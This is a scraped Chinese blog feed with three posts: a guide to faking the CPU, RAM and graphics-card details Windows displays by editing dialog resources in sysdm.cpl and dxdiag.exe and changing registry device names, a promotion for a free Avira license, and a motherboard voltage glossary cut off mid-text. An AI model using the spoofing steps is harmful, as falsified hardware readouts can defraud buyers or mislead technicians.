http://blog.china.com:80/u/061218/21698/ tang78116 tang78116 http://blog.china.com:80/u/061218/21698/200807/3368115.html <![CDATA[ <DIV><FONT color=#000000>工具:eXeScope 6.50汉化版 <BR>文件:%windir%\system32\sysdm.cpl <BR><BR>打开sysdm.cpl 点"资源"-"对话框"-"101" <BR>在中框看到有"Link Window" 字样，共有9行 <BR>第3行到第6行"Link Window"全把"可见"的勾取消 <BR>第7行的坐标(X,Y)为(141,181)内容为:Intel(R) Pentium4(R) CPU <BR>第8行的坐标(X,Y)为(141,192)内容为:4.7 GHz <BR>第9行的坐标(X,Y)为(141,203)内容为:2048 MB 的内存 <BR><BR>现在,再来修改在dxdiag程序中显示的硬件信息(CPU、RAM、VGA)文件:%windir%\system32\dxdiag.exe <BR><BR>修改CPU、RAM信息: <BR>打开dxdiag.exe 点"资源"-"对话框"-"6201"-"中文(中国)" <BR>找到中框的"Static:处理器:" 标题改为:"处理器: Intel(R) Pentium4(R) CPU 4.7GHz, ~4.69GHz" <BR>附我参数(120,182,200)分别为(X,Y,宽度)下面不再作说明 <BR>把"Static:处理器:"下面的"Static:x"的"可见"的勾去掉 <BR><BR>找到中框的"Static:内存:" 标题改为:"内存: 2048MB RAM" 附我参数(55,195,140) <BR>和上面操作一下，把 "Static:内存:" 下面的 "Static:x" 的 "可见" 的勾去掉 <BR><BR>找到中框的"Static:页面文件:" 标题改为:"页面文件: 8MB 已用，2040MB 可用" 附我参数(99,208,140) <BR>和上面操作一下，把 "Static:页面文件:" 下面的 "Static:x" 的 "可见" 的勾去掉 <BR><BR>修改VGA信息: <BR>打开dxdiag.exe 点"资源"-"对话框"-"6203"-"中文(中国)" <BR>找到中框的"Static:名称:" 标题改为:"名称: NVIDIA GeForce FX 7800GS" <BR>在以上操作一样把"Static:名称:"下面的"Static:x" 的 "可见" 的勾去掉 <BR><BR>找到中框的"Static:制造商:" 标题改为:"制造商: NVIDIA" <BR>在以上操作一样把"Static:制造商:"下面的"Static:x" 的 "可见" 的勾去掉 <BR><BR>找到中框的"Static:芯片类型:" 标题改为:"芯片类型: GeForce FX 7800GS" <BR>在以上操作一样把"Static:芯片类型:"下面的"Static:x" 的 "可见" 的勾去掉 <BR><BR>找到中框的"Static:估计内存总数:" 标题改为:"估计内存总数: 1024.0 MB" <BR>在以上操作一样把"Static:估计内存总数:"下面的"Static:x" 的 "可见" 的勾去掉 <BR><BR>修改设备管理器里的硬件信息(CPU、VGA)工具:注册表编辑器(regedit.exe) <BR><BR>打开REGEDIT 找到以下表项 <BR>[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ACPI\GenuineIntel_-_x86_Family_15_Model_4\_0] <BR>右键点"_0"表项-权限-添加……说比做累! <BR>上面的操作目的就是把当用操作用户添加到权限列表中 要求要完全控制权限 <BR>更改右框"FriendlyName"字符串的数值如下: <BR>"FriendlyName"="Intel(R) Celeron(R) CPU 4.70GHz" <BR><BR>找到以下表项 <BR>[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\PCI]下的第一个表项的第一个表项 <BR>我这里是 <BR>[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\PCI\VEN_10DE&amp;DEV_0322&amp;SUBSYS_00000000&amp;REV_A1\4&amp;299ccbfa&amp;0&amp;0008] <BR>在右框能看到有你显卡在设备管理器里显示的设备名称就对了,我以现在的为教程 <BR>给4&amp;299ccbfa&amp;0&amp;0008加入当前用户权限 <BR>更改键值如下: <BR>"DeviceDesc"="NVIDIA GeForce FX 7800GS" <BR><BR></FONT></DIV>]]> 星期二, 08 七月 2008 02:31:21 GMT http://blog.china.com:80/u/061218/21698/200807/3368115.html 2008-07-08T02:31:21Z http://blog.china.com:80/u/061218/21698/200806/2895415.html <![CDATA[ <DIV>德国杀软AntiVir被国内网友称为小红伞，它自带防火墙，能有效的保护个人电脑以及工作站的使用，以免受到病毒侵害。软件体积不大，却可以检测并移除超过100万种病毒，支持网络更新。 <P>　　Avira最近不断通过搞活动的方式免费送Key，现在它又开始和Dennis出版社联手Avira AntiVir PersonalEdition Premium版本的90天授权，</P> <P>　　Avira AntiVir PersonalEdition Premium是Avira推出的面向个人用户的收费版本，不过现在你只需要简单的填写一个表格，就马上可以免费用90天了。</P> <P>　　<A href="https://license.avira.com/en/promotion-6dl7vtc3unbw2mzefr1b?id=5xJVVxx5Os" target=_blank><STRONG><FONT color=#ff0000>点击此处</FONT></STRONG></A>开始申请，你只需要输入你的姓名、电子邮件(这个一定要填真实的，因为要用它来接受Key文件)和国家，然后点击下面的现在申请授权许可按钮(Request license now)。</P> <P><A href="http://imgblog.china.com/u/061218/21698/pic/12143552618931.jpg" target=_blank><IMG style="WIDTH: 399px; HEIGHT: 200px" height=250 src="http://imgblog.china.com/u/061218/21698/pic/12143552618931.jpg" width=393 onload="if(this.width>400)this.width=400;if(this.height>400)this.height=400" border=0></A></P> <P align=center>图1、输入简单个人信息</P> <P align=center>&nbsp;</P> <P align=center><A href="http://imgblog.china.com/u/061218/21698/pic/12143552630732.jpg" target=_blank><IMG height=140 src="http://imgblog.china.com/u/061218/21698/pic/12143552630732.jpg" width=409 onload="if(this.width>400)this.width=400;if(this.height>400)this.height=400" border=0></A></P> <P align=center>图2、申请成功提示<A href="http://imgblog.china.com/u/061218/21698/pic/12143552618931.jpg" target=_blank></IMG></A></P></DIV>]]> 星期三, 25 六月 2008 00:49:44 GMT http://blog.china.com:80/u/061218/21698/200806/2895415.html 2008-06-25T00:49:44Z http://blog.china.com:80/u/061218/21698/200806/2859890.html <![CDATA[ <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-outline-level: 2" align=left><SPAN style="FONT-SIZE: 18pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">主板维修中常用到的<SPAN lang=EN-US>VDD</SPAN>，<SPAN lang=EN-US>VTT</SPAN>，<SPAN lang=EN-US>CS</SPAN>等含义<SPAN lang=EN-US><?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">VCC--</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">为直流电压。在主板上为主供电电压或一般供电电压。例如 一般电路<SPAN lang=EN-US>VCC3--+3V</SPAN>供电。<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">主板上<SPAN lang=EN-US>VCC3: 3.3V&nbsp;&nbsp;VCC25: 2.5V&nbsp; &nbsp;VCC333: 3.3V VCC5: 5V&nbsp;&nbsp;VCC12: 12V <o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">以下内容需要回复才能看到<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">VCORE: CPU</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">核心电压<SPAN lang=EN-US>(</SPAN>视<SPAN lang=EN-US>CPU OR </SPAN>电压治具而定<SPAN lang=EN-US>)<o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体"><SPAN style="mso-spacerun: yes">&nbsp;</SPAN>VDD--</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">只是一个通称。普通的<SPAN lang=EN-US>IC</SPAN>电源<SPAN lang=EN-US>,</SPAN>可能<SPAN lang=EN-US>+3V, +1.5V</SPAN>之类，例如数字电路正电压、门电路的供电等。<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">VDDQ--</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">需要经过滤波的电源<SPAN lang=EN-US>,</SPAN>稳定度要求比<SPAN lang=EN-US>VDD</SPAN>更高<SPAN lang=EN-US>,<o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">VSS--</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">指供电的负极，一般是<SPAN lang=EN-US>0</SPAN>伏电压或电压参考点<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">GND--</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">地<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">供电电压一般都标为<SPAN lang=EN-US>Vdd,Vcc</SPAN>。<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">VCORE--CPU</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">核心电压。<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">VID--</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">是<SPAN lang=EN-US>CPU</SPAN>电压识别信号。以前的老主板有<SPAN lang=EN-US>VID</SPAN>跳线<SPAN lang=EN-US>,</SPAN>现在的一般没有，<SPAN lang=EN-US>CUP</SPAN>工作电压就是由<SPAN lang=EN-US>VID</SPAN>来定义。通过控制电源<SPAN lang=EN-US>IC</SPAN>输出额定电压给<SPAN lang=EN-US>CPU</SPAN>。<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">VTT--</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">是参考电压（有<SPAN lang=EN-US>VTT1.5V</SPAN>、<SPAN lang=EN-US>VTT2.5V</SPAN>）<SPAN lang=EN-US>,</SPAN>针对不同型号的<SPAN lang=EN-US>CPU</SPAN>有<SPAN lang=EN-US>1.8V</SPAN>，<SPAN lang=EN-US>1.5V</SPAN>，<SPAN lang=EN-US>1.125.</SPAN>测量点在<SPAN lang=EN-US>cpu</SPAN>插座旁边<SPAN lang=EN-US>,</SPAN>有很多<SPAN lang=EN-US>56 </SPAN>的排阻<SPAN lang=EN-US>,</SPAN>就是它了。<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">VTT--</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">是<SPAN lang=EN-US>AGTL</SPAN>总线终端电压。<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">CS--</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">片选<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">CAS--</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">行选通<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">RAS--</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">列选通<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">sclk--</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">串行时钟<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">A</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">或<SPAN lang=EN-US>SA--</SPAN>地址线<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">SYNC--</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">串行同步<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">SDATA--</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">串行数据<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">VDIMM--</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">内存槽的电源。<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">5VSB--5V</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">待机电源<SPAN lang=EN-US>,</SPAN>待机电源是指电脑未开机<SPAN lang=EN-US>,</SPAN>但插着外部电源<SPAN lang=EN-US>,</SPAN>主板上有一部分供着电<SPAN lang=EN-US>,</SPAN>可以做唤醒等作用的电。<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">3VSB--3V</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">待机电源。<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">主板有<SPAN lang=EN-US>+5VSB,+3VSB, +3V,+5V,+12V,+5V_DUAL(USB)</SPAN>。<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">SB=stand by--</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">待机。<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">RESET--</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">复位<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">CLK--</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">时钟<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">POWER_GOOD: 3.3V</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">或<SPAN lang=EN-US>5V<o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">VCC---</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">模拟电路中的电源电压正端<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">GND---</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">模拟电路中的电源电压的接地端<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">VDD---</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">数字电路中的电源电压正端<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">VSS---</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">数字电路中的电源电压接地端<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">VCC:</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">当然是主要的供电正端了<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">VDD</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">：<SPAN lang=EN-US>........</SPAN>同上<SPAN lang=EN-US>........<o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">VCC</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">，<SPAN lang=EN-US>C=circuit </SPAN>，线路的意思，指连接到一个完整电路的电源输入正端，<SPAN lang=EN-US>VDD</SPAN>，<SPAN lang=EN-US>D=device</SPAN>，应该说是连接到元件的意思，如：指某<SPAN lang=EN-US>IC</SPAN>的工作电压，不排除部分<SPAN lang=EN-US>IC</SPAN>同时接<SPAN lang=EN-US>VCC</SPAN>、<SPAN lang=EN-US>VDD<o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">VSS</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">：地、负电源端、公共点，<SPAN lang=EN-US>S=series<o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">VEE</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">：<SPAN lang=EN-US>...</SPAN>同上<SPAN lang=EN-US>...</SPAN>都有<SPAN lang=EN-US>GND</SPAN>的意思（<SPAN lang=EN-US>ground)<o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">也有这样理解的，<SPAN lang=EN-US>VDD</SPAN>，接<SPAN lang=EN-US>MOS</SPAN>管的<SPAN lang=EN-US>D</SPAN>极，即漏极；<SPAN lang=EN-US>VSS</SPAN>，接<SPAN lang=EN-US>MOS</SPAN>管的<SPAN lang=EN-US>S</SPAN>极，即源极，主板上<SPAN lang=EN-US>IC</SPAN>里面太多<SPAN lang=EN-US>CMOS</SPAN>器件了。<SPAN lang=EN-US>VCC</SPAN>，接三极管的<SPAN lang=EN-US>C</SPAN>极，集电极。<SPAN lang=EN-US>VEE</SPAN>，接三极管的<SPAN lang=EN-US>E</SPAN>极，发射极<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">总之，我们只需要知道那是正哪是负就可以了。在一些少见的电路（器件）中，会遇到相反的情况，就不是我们需要了解的了<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">Vp_p</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">：电压绝对幅值（<SPAN lang=EN-US>V</SPAN>），比如，高中物理课本所讲到的正弦波，正半周和负半周的的电压绝对大小，用示波器看主板<SPAN lang=EN-US>cpu</SPAN>电压管的波形时，我们看到的方波已经不是很标准的方波了，它在正方向有<SPAN lang=EN-US>12V</SPAN>（比如），在负方向呢，会有<SPAN lang=EN-US>0.5V</SPAN>的空间（估计是人为保留的），那么<SPAN lang=EN-US>Vp_p</SPAN>＝<SPAN lang=EN-US>12.5V<o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">Vp</SPAN><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">：峰值电压，万用表是量不出来的，示波器就可以，如时钟波形，指波形顶点的电压值。<SPAN lang=EN-US><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align=left><SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 